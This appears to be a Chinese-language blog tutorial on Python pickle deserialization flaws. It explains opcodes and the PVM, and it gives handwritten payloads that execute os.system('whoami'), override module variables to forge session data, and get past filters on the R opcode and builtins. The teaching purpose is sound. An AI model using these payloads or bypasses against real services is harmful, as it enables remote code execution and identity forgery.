前置知识

  • pickle是==python中一个能够序列化和反序列化对象的模块==。和其他语言类似,python也提供了序列化和反序列化这一功能,其中一个实现模块就是pickle。

  • pickle实际上可以看作一种独立的语言,通过对opcode的编写可以对进行python代码执行、覆盖变量等操作

  • pickle模块的使用

    • demo

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      import pickle

      class Person():
      def __init__(self):
      self.age=18
      self.name="Pickle"

      p=Person()
      opcode=pickle.dumps(p)
      print(opcode)
      #结果如下
      #b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94(\x8c\x03age\x94K\x12\x8c\x04name\x94\x8c\x06Pickle\x94ub.'


      P=pickle.loads(opcode)
      print('The age is:'+str(P.age),'The name is:'+P.name)
      #结果如下
      #The age is:18 The name is:Pickle
    • 这里创建了一个person类,其中有两个属性age和name,首先使用了pickle.dumps()函数将一个person对象序列化成二进制字节流的形式。然后使用pickle.loads()将一串二进制字节流反序列化为一个person对象

  • 能够序列化的对象

    • None、True 和 False
    • 整数、浮点数、复数
    • str、byte、bytearray
    • 只包含可打包对象的集合,包括 tuple、list、set 和 dict
    • 定义在模块顶层的函数(使用 def 定义,lambda 函数则不可以
    • 定义在模块顶层的内置函数
    • 定义在模块顶层的类
    • 某些类实例,这些类的 dict 属性值或 getstate() 函数的返回值可以被打包
  • pickle模块常见方法即接口

    • 将打包好的对象obj写入文件中,其中protocol为pickling的协议版本

      1
      pickle.dump(obj, file, protocol=None, *, fix_imports=True)
    • 将obj打包以后的对象作为bytes类型直接返回

      1
      pickle.dumps(obj, protocol=None, *, fix_imports=True)
    • 从文件中读取二进制流,将其反序列化为一个对象并返回

      1
      pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict")
    • 从data中读取二进制字节流,将其反序列化为一个对象并返回

      1
      pickle.loads(data, *, fix_imports=True, encoding="ASCII", errors="strict")
    • ==reduce其实是object类中的一个魔术方法,我们可以通过重写类的object.reduce()函数,使之在杯实例化时按照重写的方式进行==

      1
      object.__reduce__
    • python要求该方法返回一个字符串或者元组,如果返回元组(callable, ([para1,para2…])[,…]),那么每当该类的对象杯反序列化的时候,改callable就会被调用,参数为para1、para2

pickle反序列化漏洞

  • 漏洞产生原理:当pickle反序列化未知的二进制流,当该字节流包含精心构造的恶意代码,如果我们使用pickle.load()方法反序列化,就会导致恶意代码执行

    • demo

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      import pickle
      import os

      class Person():
      def __init__(self):
      self.age=18
      self.name="Pickle"
      def __reduce__(self):
      command=r"whoami"
      return (os.system,(command,))

      p=Person()
      opcode=pickle.dumps(p)
      print(opcode)

      P=pickle.loads(opcode)
      print('The age is:'+str(P.age),'The name is:'+P.name)
    • 我们在person类中假如了reduce函数,该函数能够定义该类的二进制节字流被反序列化时进行的操作,返回值是一个(callable, ([para1,para2…])[,…])类型的元组。当字节流被反序列化时,Python就会执行callable(para1,para2…)函数。因此当上述的Person对象被unpickling时,就会执行os.system(command)

  • pickle工作原理

    • pickle可以看作一种独立的栈语言,它由一串串opcode(指令集)组成,该语言的解析是依靠PVM进行的

    • PVM由以下三部分组成

      • 指令处理器:从流中读取opcode和参数,并对其进行解释处理,重复这个操作,直到遇到.这个结束符后停止,最终留在栈顶的值将被作为反序列化对象返回

      • stack:由python的list实现,被用来临时存储数据、参数以及对象

      • memo:由python的dict实现,为PVM的整个生命周期提供存储

  • 常用opcode

    • c:获取一个全局对象或import一个模块
    • o:寻找栈中的上一个MARK,以之前的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)
    • i:相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之前的数据为元组,以改元组为参数执行全局函数(或者实例化一个对象)
    • N:实例化一个None
    • S:实例化一个字符串对象
    • V:实例化一个unicode字符串对象
    • I:实例化一个int对象
    • F:实例化一个float对象
    • R:选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数
    • (:向栈中压入一个MARK标记
    • t:寻找栈中上一个MARK,并组合之前的数据为元组
    • ):向栈中直接压入一个空元组
    • l:寻找栈中的上一个MARK,并组合之前的数据为列表
    • ]:向栈中直接压入一个空列表
    • d:寻找栈中的上一个MARK,并组合之间的数据为字典
    • }:向栈中直接压入一个空字典
    • p:将栈顶对象存储值memo_n
    • g:将memo_n的对象压栈
    • 0:丢弃栈顶对象
    • b:使用栈中的第一个元素(存储多个属性名:属性值的字典)对第二个元素进行属性设置
    • s:将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中
    • u:寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中
    • a:将栈的第一个元素append到第二个元素(列表)中
    • e:寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中
  • PVM工作流程

    • PVM解析str的过程

    • PVM解析__reduce__()过程

    • demo

      1
      2
      3
      4
      5
      6
      7
      8
      opcode=b'''cos
      system
      (S'whoami'
      tR.'''
      cos->字节码c导入os.system,并将函数压入栈
      (S'whoami'->字节码(,向栈中压入一个MARK,字节码为S是烈火一个字符串对象'whoami'将其 压入栈
      tR->字节码t,寻找栈中MARK,并组合之间的数据为元组,然后通过字节码R执行os.system('whoami')
      .->字节码为.,程序结束,将栈顶元素os.system('whoami')作为返回值

漏洞利用方式

  • 命令执行

    • 在上文中我们已经提到可以通过在类中重写__reduce__方法,从而在反序列化时执行任意指令,但是通过这种方法一次只能执行一个命令,如果想一次执行多个命令,就只能通过手写opcode的方式

    • 在pickle中,和函数执行的字节码有三个:R、i、o,所有我们可以从三个方向构造payload

      • R

        1
        2
        3
        4
        opcode1=b'''cos
        system
        (S'whoami'
        tR.'''
      • i:相当于c和o的组合,先获取一个全局函数,然后寻找栈中上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)

        1
        2
        3
        4
        opcode2=b'''(S'whoami'
        ios
        system
        .'''
      • o:寻找栈中上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)

        1
        2
        3
        4
        opcode3=b'''(cos
        system
        S'whoami'
        o.'''
  • 实例化对象

    • 实例化对象也是一个特殊的函数执行,我们同样可以通过手写opcode来构造

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      import pickle

      class Person:
      def __init__(self,age,name):
      self.age=age
      self.name=name


      opcode=b'''c__main__
      Person
      (I18
      S'Pickle'
      tR.'''

      p=pickle.loads(opcode)
      print(p)
      print(p.age,p.name)

      ###
      <__main__.Person object at 0x00000223B2E14CD0>
      18 Pickle

      以上opcode相当于手动执行了构造函数Person(18,’Pickle’)

  • 变量覆盖

    • 在session或token中,由于需要存储一些用户信息,所以我们常常能够看见pickle的身影。程序会将用户的各种信息序列化并存储在session或token中,以此来验证用户的身份。假如session或token是以明文的方式进行存储的,我们就有可能通过变量覆盖的方式进行身份伪造

      1
      2
      #secret.py
      secret="This is a key"
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      import pickle
      import secret

      print("secret变量的值为:"+secret.secret)

      opcode=b'''c__main__
      secret
      (S'secret'
      S'Hack!!!'
      db.'''
      fake=pickle.loads(opcode)

      print("secret变量的值为:"+fake.secret)
    • 首先通过c来获取__main__.secret模块,然后将字符串secret和Hack!!!压入栈中,然后通过字节码d将两个字符串组合成字典{‘secret’:’Hack!!!’}的形式。由于在pickle中,反序列化后的数据会以key-value的形式存储,所以secret模块中的变量secret=”This is a key”,是以{‘secret’:’This is a key’}形式存储的。最后再通过字节码b来执行__dict__.update(),即{‘secret’:’This is a key’}.update({‘secret’:’Hack!!!’}),因此最终secret变量的值被覆盖成了Hack!!!

绕过

  • 绕过builtins

    • 通过getattr获取对象的属性值,因此我们可以通过builtins.getattr(builtins,’eval’)来获取eval函数
    • 通过globals()函数中的全局变量来导入官方或者自定义的模块
  • 绕过R指令

    • 使用i指令

      1
      2
      3
      4
      5
      opcode=b'''(S'stao'
      I18
      i__main__
      Animal
      .'''
    • 使用o指令

      1
      2
      3
      4
      5
      opcode=b'''(c__main__
      Animal
      S'stao'
      I18
      o.'''
    • 变量覆盖

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      opcode=b'''c__main__
      stao
      (S'name'
      S'Hacker'
      S'age'
      I18
      db(c__main__
      Animal
      S'Hacker'
      I18
      o.'''
    • b指令

      1
      2
      3
      4
      5
      6
      7
      8
      9
      opcode=b'''(c__main__
      Animal
      S'Casual'
      I18
      o}(S"__setstate__" #向栈中压入一个空字典,然后再通过u修改为{"__setstate__":os.system}
      cos
      system
      ubS"whoami"
      b.'''
    • 十六进制绕过

    • 利用内置函数获取关键字

参考